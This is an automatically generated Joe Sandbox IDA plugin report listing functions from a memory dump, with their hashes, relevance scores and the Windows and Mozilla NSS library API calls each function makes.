Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Alloc_ArenaValue$CriticalEnterErrorMark_SectionUnlockmalloc
String ID:
API String ID: 3725328900-0
Opcode ID: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction ID: 0c780908c466536dd9534d5c588b753a4bcc7aa869dc61ef339ee04ba1019dcb
Opcode Fuzzy Hash: 76bed5ec1ed1856720d9d5efe1139b27b0a87fc8713e0c3613628c4c4c5f84ea
Instruction Fuzzy Hash: 7231B6B19017429BE700CF56D880692F7E4FFA5318B24C229DC1D87B41E771F9A6CB94

Function 6C69FE20 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(6C675ADC,?,00000000,00000001,?,?,00000000,?,6C66BA55,?,?), ref: 6C69FE4B
EnterCriticalSection.KERNEL32(78831D90,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C69FE5F
PR_Unlock.NSS3(78831D74), ref: 6C69FEC2
PR_SetError.NSS3(00000000,00000000), ref: 6C69FED6

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction ID: 83c8d128666619684e21d0b890191e3c085b78aa86dbf18d7be79b70081536c4
Opcode Fuzzy Hash: 2dd075d1c5ffaad6ad0720f267aa1a3ac66f57d9e5e7d788f69e474c36fb30c5
Instruction Fuzzy Hash: 22212331A00626BBDB109F65E844BAA73B4FF05358F1A0134ED04A7E42E731E965CBDA

Function 6C6A3F50 Relevance: 6.1, APIs: 4, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 6C6A3440: PK11_GetAllTokens.NSS3 ref: 6C6A3481
Part of subcall function 6C6A3440: PR_SetError.NSS3(00000000,00000000), ref: 6C6A34A3
Part of subcall function 6C6A3440: TlsGetValue.KERNEL32 ref: 6C6A352E
Part of subcall function 6C6A3440: EnterCriticalSection.KERNEL32(?), ref: 6C6A3542
Part of subcall function 6C6A3440: PR_Unlock.NSS3(?), ref: 6C6A355B

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FA1
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FBA
PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6C68E80C,00000000,00000000,?,?,?,?,6C698C5B,-00000001), ref: 6C6A3FFE
PR_SetError.NSS3 ref: 6C6A401A

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue$K11_Tokens
String ID:
API String ID: 3021504977-0
Opcode ID: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction ID: ac442ebf1e6d5198cc2d2af51020ab2fa5031f457a3815c022b71a7e7adbede8
Opcode Fuzzy Hash: 58146ef879b604cceef92ff20699bd66c85086a751fc7c96a253e5e3603f5f2b
Instruction Fuzzy Hash: 673180705047048FD700AFAAD5846AEBBF0FF89354F11592ED98987B00EB70E885CB9A

Function 6C694FB0 Relevance: 6.1, APIs: 4, Instructions: 75COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695003
EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69501C
PR_Unlock.NSS3(?,?,?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C69504B
free.MOZGLUE(?,00000000,00000000,00000000,?,6C69B60F,00000000), ref: 6C695064

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValuefree
String ID:
API String ID: 1112172411-0
Opcode ID: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction ID: 89d850ee75987e8177842cf50450b4f4b27b73f9720fba99185998acb81b7894
Opcode Fuzzy Hash: 095e995494cad1d855c57e68eaf07b84dfb43f7a967a2ca83ba45a4cb9be3774
Instruction Fuzzy Hash: DB3127B0A05606DFDB00EF68C484A6ABBF4FF09345F118669E859D7700E731E890CB95

Function 6C6B9F80 Relevance: 6.1, APIs: 4, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6C6BA71A,FFFFFFFF,?,?), ref: 6C6B9FAB

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_ArenaGrow_Util.NSS3(?,?,?,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6B9FD9

Part of subcall function 6C6B1340: TlsGetValue.KERNEL32(?,00000000,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B136A
Part of subcall function 6C6B1340: EnterCriticalSection.KERNEL32(B8AC9BDF,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B137E
Part of subcall function 6C6B1340: PL_ArenaGrow.NSS3(?,6C64F599,?,00000000,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?), ref: 6C6B13CF
Part of subcall function 6C6B1340: PR_Unlock.NSS3(?,?,6C65895A,00000000,?,00000000,?,00000000,?,00000000,?,6C64F599,?,00000000), ref: 6C6B145C

PORT_ArenaAlloc_Util.NSS3(?,00000008,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA009
PR_SetError.NSS3(FFFFE013,00000000,6C6BA71A,6C6BA71A,00000000), ref: 6C6BA045

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$CriticalEnterSectionUnlockValue$Alloc_ErrorGrowGrow_Mark_
String ID:
API String ID: 3535121653-0
Opcode ID: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction ID: 73f1f97476c8ea0932abe1c620dde10c51f275a44536d345374d98b861648c8c
Opcode Fuzzy Hash: 6d1ae70d6311bc2b933261b9cebe50cfeb7780cc980ad09fb36ff6f910e61e20
Instruction Fuzzy Hash: 6521C6B4600206ABF7009F15DC50F66B7A9FF9535CF10C128D82997B82FB76E828CB94

Function 6C6C2DF0 Relevance: 6.1, APIs: 4, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C6C2E08

Part of subcall function 6C6B14C0: TlsGetValue.KERNEL32 ref: 6C6B14E0
Part of subcall function 6C6B14C0: EnterCriticalSection.KERNEL32 ref: 6C6B14F5
Part of subcall function 6C6B14C0: PR_Unlock.NSS3 ref: 6C6B150D

PORT_NewArena_Util.NSS3(00000400), ref: 6C6C2E1C
PORT_ArenaAlloc_Util.NSS3(00000000,00000064), ref: 6C6C2E3B
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C6C2E95

Part of subcall function 6C6B1200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B1228
Part of subcall function 6C6B1200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C6B1238
Part of subcall function 6C6B1200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B124B
Part of subcall function 6C6B1200: PR_CallOnce.NSS3(6C7B2AA4,6C6B12D0,00000000,00000000,00000000,?,6C6588A4,00000000,00000000), ref: 6C6B125D
Part of subcall function 6C6B1200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C6B126F
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C6B1280
Part of subcall function 6C6B1200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C6B128E
Part of subcall function 6C6B1200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C6B129A
Part of subcall function 6C6B1200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C6B12A1

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$CriticalSection$Arena_EnterFreePoolUnlockValuefree$Alloc_CallClearDeleteMark_Once
String ID:
API String ID: 1441289343-0
Opcode ID: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction ID: a51d854b2c2187627cc4bf75380a88774b15328c879bb4e2fa4f2b81387d0eaa
Opcode Fuzzy Hash: f90256335fee6aeeaa24d2f6bee3f354c0acb0369ebf8db753efb3bf32d612af
Instruction Fuzzy Hash: F621D4B1E003455BE700CF549D44BAA3764AF9630CF111269DD087B752F7B1E69983AA

Function 6C67ACB0 Relevance: 6.1, APIs: 4, Instructions: 66COMMON

Download Yara Rule

APIs

CERT_NewCertList.NSS3 ref: 6C67ACC2

Part of subcall function 6C652F00: PORT_NewArena_Util.NSS3(00000800), ref: 6C652F0A
Part of subcall function 6C652F00: PORT_ArenaAlloc_Util.NSS3(00000000,0000000C), ref: 6C652F1D

Part of subcall function 6C652AE0: PORT_Strdup_Util.NSS3(?,?,?,?,?,6C650A1B,00000000), ref: 6C652AF0
Part of subcall function 6C652AE0: tolower.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C652B11

CERT_DestroyCertList.NSS3(00000000), ref: 6C67AD5E

Part of subcall function 6C6957D0: PK11_GetAllTokens.NSS3(000000FF,00000000,00000000,6C65B41E,00000000,00000000,?,00000000,?,6C65B41E,00000000,00000000,00000001,?), ref: 6C6957E0
Part of subcall function 6C6957D0: free.MOZGLUE(00000000,00000000,00000000,00000001,?), ref: 6C695843

CERT_DestroyCertList.NSS3(?), ref: 6C67AD36

Part of subcall function 6C652F50: CERT_DestroyCertificate.NSS3(?), ref: 6C652F65
Part of subcall function 6C652F50: PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C652F83

free.MOZGLUE(?), ref: 6C67AD4F

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$CertDestroyList$Arena_free$Alloc_ArenaCertificateFreeK11_Strdup_Tokenstolower
String ID:
API String ID: 132756963-0
Opcode ID: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction ID: 1291df39e8fb8ef07b23470c6e9bc4e18b6918a77df3a0da5a3ecec13f47f094
Opcode Fuzzy Hash: c316fa99c2415fe033c095782c5021dee481ffc4e23ef2823e67bd9a7e5904a3
Instruction Fuzzy Hash: 9821A4B1D002048BEB20DFA4D9055EE77B4AF05248F555469D8057B701F731EA55CBB9

Function 6C6A3C80 Relevance: 6.1, APIs: 4, Instructions: 65COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C6A3C9E
EnterCriticalSection.KERNEL32(?), ref: 6C6A3CAE
PR_Unlock.NSS3(?), ref: 6C6A3CEA
PR_SetError.NSS3(00000000,00000000), ref: 6C6A3D02

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction ID: de8aee1d72a422ec2ef46b8842cf72c5222f5ebe1cf775f2137b5d49cc9c3c51
Opcode Fuzzy Hash: eeafdf77f9c58dfbf84d2afb9d765af74ca40c38df2b094f0118fd0564eb16da
Instruction Fuzzy Hash: 3411B475A00204AFD700AF64DC48E9A37B9EF0A368F154074ED058B712E731ED55CBE5

Function 6C6AECB0 Relevance: 6.1, APIs: 4, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800,?,00000001,?,6C6AF0AD,6C6AF150,?,6C6AF150,?,?,?), ref: 6C6AECBA

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000028,?,?,?), ref: 6C6AECD1

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C,?,?,?,?,?), ref: 6C6AED02

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?), ref: 6C6AED5A

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Arena$Util$Alloc_AllocateArena_Value$CriticalEnterFreeInitLockPoolSectionUnlockcalloc
String ID:
API String ID: 2957673229-0
Opcode ID: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction ID: 76dde72ef65d2d73a85da6562e265c10ea3bb2b4ad39952e19a0229eff78b9b9
Opcode Fuzzy Hash: fde359a11de0bfe4845df7f2d5157b0e79017d69c9f1ce55be8417e26a882dd5
Instruction Fuzzy Hash: D321D4B1A007425BE700DF25D944B52B7E4BFA5308F15C215E81C87661FB70E9A5C7E8

Function 6C6DEDB0 Relevance: 6.1, APIs: 4, Instructions: 62memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDD4
realloc.MOZGLUE(C7C1920F,?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEDFD
PORT_Alloc_Util.NSS3(?,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE14

Part of subcall function 6C6B0BE0: malloc.MOZGLUE(6C6A8D2D,?,00000000,?), ref: 6C6B0BF8
Part of subcall function 6C6B0BE0: TlsGetValue.KERNEL32(6C6A8D2D,?,00000000,?), ref: 6C6B0C15

memcpy.VCRUNTIME140(?,?,6C6C9767,00000000,00000000,6C6C7FFA,?,6C6C9767,?,8B7874C0,0000A48E), ref: 6C6DEE33

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ErrorUtilValuemallocmemcpyrealloc
String ID:
API String ID: 3903481028-0
Opcode ID: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction ID: 6366d671b69e6cc108f5464cd7262ec5bf8ed3184d4b0d7b75badfa1f2ea736e
Opcode Fuzzy Hash: 8ba0d05e806e6b6c8851631dd08f162fd594bb2f7d2f84c5f37d785d5b27f301
Instruction Fuzzy Hash: 3611C2B1A00707ABEB209EA5DC84B46F3A8FF0435DF224531E919C2A00E731F465CBE9

Function 6C65DFA0 Relevance: 6.1, APIs: 4, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C6706A0: TlsGetValue.KERNEL32 ref: 6C6706C2
Part of subcall function 6C6706A0: EnterCriticalSection.KERNEL32(?), ref: 6C6706D6
Part of subcall function 6C6706A0: PR_Unlock.NSS3 ref: 6C6706EB

CERT_NewCertList.NSS3 ref: 6C65DFBF
CERT_AddCertToListTail.NSS3(00000000,?), ref: 6C65DFDB
CERT_FindCertIssuer.NSS3(?,?,?,?), ref: 6C65DFFA
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C65E029

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Cert$List$CriticalEnterErrorFindIssuerSectionTailUnlockValue
String ID:
API String ID: 3183882470-0
Opcode ID: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction ID: 410475219db5b1573e2d62144da0d32e0a5d0e09c4c224fe599cf635f4179d38
Opcode Fuzzy Hash: 405f845adc6167fc33325065f84957d7f9857c790e95633a98274b85cba4a1ef
Instruction Fuzzy Hash: 7F112F71A042066BDF101EA99C44BEB76B8EB8535CFA40534E918C7740F73BC83597E9

Function 6C678DD0 Relevance: 6.1, APIs: 4, Instructions: 53COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C678DE7
EnterCriticalSection.KERNEL32 ref: 6C678DFC
PR_Unlock.NSS3 ref: 6C678E2D
PR_SetError.NSS3 ref: 6C678E49

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterErrorSectionUnlockValue
String ID:
API String ID: 284873373-0
Opcode ID: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction ID: 1f2f05af8d7cdf630b08cf4df1927fd49a393801eb20a4114f724b09bb2259b6
Opcode Fuzzy Hash: a5fec77f60fd7b27d5c6413465cdb604dad906b0c8a935b001935ce7cf77b113
Instruction Fuzzy Hash: 911191716056019FD700AF78D4485A9BBF4FF09354F014969DC88D7700E730E895CBDA

Function 6C6FAC70 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

PR_DestroyMonitor.NSS3(000A34B6,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FAC94
PK11_FreeSymKey.NSS3(08C483FF,00000000,00000678,?,6C6E5F17,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACA6
free.MOZGLUE(20868D04,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACC0
free.MOZGLUE(04C48300,?,?,?,?,?,?,?,?,6C6EAAD4), ref: 6C6FACDB

Memory Dump Source

Source File: 00000000.00000002.2085157898.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2085129697.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085301559.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085368221.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085394305.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085419881.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2085445519.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$DestroyFreeK11_Monitor
String ID:
API String ID: 3989322779-0
Opcode ID: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction ID: 946dbee206ebbe9353e9fd703242d2c833e9dd608ba5f2ff18a69ec3cb070919
Opcode Fuzzy Hash: 94bacba1003486e81ad315087874fecb84fc0032ded1ab4ee9924434d9633d88
Instruction Fuzzy Hash: F6015EB5701B029BEB50DF69E908757B7E8BF00759B104839E86AC3E11E731F055CB95

Function 6C661DD0 Relevance: 6.0, APIs: 4, Instructions: 48COMMON

Download Yara Rule

APIs

CERT_DestroyCertificate.NSS3(?), ref: 6C661DFB

Part of subcall function 6C6595B0: TlsGetValue.KERNEL32(00000000,?,6C6700D2,00000000), ref: 6C6595D2
Part of subcall function 6C6595B0: EnterCriticalSection.KERNEL32(?,?,?,6C6700D2,00000000), ref: 6C6595E7
Part of subcall function 6C6595B0: PR_Unlock.NSS3(?,?,?,?,6C6700D2,00000000), ref: 6C659605

PR_EnterMonitor.NSS3 ref: 6C661E09

